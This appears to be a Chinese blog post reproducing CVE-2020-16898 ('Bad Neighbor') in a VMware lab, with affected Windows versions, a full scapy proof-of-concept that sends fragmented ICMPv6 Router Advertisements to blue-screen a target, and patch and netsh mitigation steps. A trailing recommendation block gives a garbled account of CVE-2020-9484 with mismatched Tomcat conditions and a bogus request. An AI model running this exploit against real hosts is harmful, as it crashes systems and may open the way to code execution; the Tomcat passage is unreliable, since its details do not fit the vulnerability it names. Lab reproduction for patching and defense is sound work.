CVE-2020-16898漏洞复现

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介

CVE-2020-16898,又称“Bad Neighbor”,在Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

二.漏洞描述

远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包,并将其发送到远程Windows主机上,即可在目标主机上执行任意代码。 攻击者可以利用该漏洞发送恶意制作的数据包,从而有可能在远程系统上执行任意代码。与MAPP(Microsoft Active Protection计划)成员共享的概念证明既非常简单又非常可靠。它会导致立即出现BSOD(蓝屏死机),但更严重的是,对于那些能够绕过Windows 10和Windows Server 2019缓解措施的人来说,存在被利用的可能性。可以使远程代码执行的漏洞利用的影响将是广泛的,并且影响很大,因为这种类型的错误可能会变成可感染的。

受影响版本:

Windows 10 Version 1709 for 32-bit Systems

Windows 10 Version 1709 for ARM64-based Systems

Windows 10 Version 1709 for x64-based Systems

Windows 10 Version 1803 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows 10 Version 1803 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for x64-based Systems

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

三.环境搭建

这里使用vmware,NAT出一个子网,并开启ipv6支持。点击VM的编辑—>虚拟网络编辑器,选择NAT模式,开启ipv6支持,点击确定,如下图。

 

选取一个受影响版本的windows10镜像,安装在虚拟机里。这里我使用的是1903版本。

 

 打开win10的控制面板–>选择网络和共享中心,右键打开Ethernet0。

 打开ipv6版本:

四.漏洞复现

1.执行ipconfig,查看虚拟机IPv6地址

 2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信(这里把自己的物理机作为攻击机者) 执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

 

 4.攻击机中python为3.10 ,并且安装了scapy。在安装好python后,打开cmd,输入python,没有报错,说明成功:

然后安装scapy:直接使用pip安装:pip install scapy ,scapy启动界面如下图:

5.这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。


#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
 
 
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "xxxx xxxx xxxx xxxx"   #目标靶机IPv6 地址
v6_src = "xxxx xxxx xxxx xxxx"              #攻击机本地链接 IPv6 地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p) 

6.在攻击者上执行:cve 2020-16898-exp1.py

 7.虚拟机被打蓝屏,如下:

 8.使用wirkshark选择对应的虚拟网卡进行抓包查看 如下图所示:

 9.查看数据包可以看到里面有发送的payload。

五.修复建议

1.升级更新。立即安装针对此漏洞的更新,下载最新的补丁包进行更新修复,如下链接。

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

2.不能升级的话,禁用 ICMPv6 RDNSS:

以管理员身份打开PowerShell,输入以下命令,即可"显示接口参数" 

netsh int ipv6 show interface

可以根据此列表,查询到需要禁用的接口,执行禁用命令如下:

netsh int ipv6 set int 11 rabaseddnsconfig=disable

 返回“确定”后禁用成功。

咱们小屋,喜欢您来:D

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2020-9484是Apache Tomcat容器中的一种身份验证绕过漏洞。要复现漏洞,我们需要满足以下条件: 1. 安装Apache Tomcat服务器:首先需要在本地或远程环境中安装Apache Tomcat服务器。确保Tomcat版本为9.0.0.M1至9.0.0.30。 2. 配置Tomcat服务器:在Tomcat的配置文件中(通常是server.xml),需要启用HTTP Connector属性中的restEnabled参数。该参数默认为false,我们需要将其设置为true。 3. 修改用户配置文件:在Tomcat配置文件的users节点中,添加一个或多个用户。为了复现漏洞,我们需要至少添加一个用户名为test的用户及其密码。 4. 启动Tomcat服务器:启动Tomcat服务器,确保它在本地或远程环境中运行。 5. 发起请求攻击:使用任何Web请求工具(如curl、Postman等),构造以下HTTP请求: POST /servlets-examples/servlet/RequestParamExample HTTP/1.1 Host: [Tomcat服务器IP地址]:[Tomcat服务器端口号] Content-Length: [content-length] Transfer-Encoding: [transfer-encoding] attName=%25%7B%25+%27test%27%2e%25+%27class%27%7d 其中,[Tomcat服务器IP地址]替换为Tomcat服务器的实际IP地址,[Tomcat服务器端口号]替换为Tomcat服务器的实际端口号,[content-length]和[transfer-encoding]分别为请求体的长度和编码方式。 6. 漏洞验证:如果成功复现漏洞,我们将获得类似以下的服务器响应: HTTP/1.1 200 OK [其他响应头信息] Content-Type: text/html;charset=UTF-8 [其他响应体信息] ${%27test%27.class} 如果响应体中包含"${'test'.class}"的引用,则漏洞已成功复现。这说明攻击者绕过了身份验证,并成功执行了恶意代码。 需要注意的是,CVE-2020-9484漏洞可能会导致未经授权的远程代码执行,攻击者可以利用此漏洞来执行任意代码,可能导致服务器受到严重影响。在验证漏洞后,建议尽快升级Tomcat服务器,安装相应的补丁或增加其他安全措施,以避免潜在的安全威胁。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值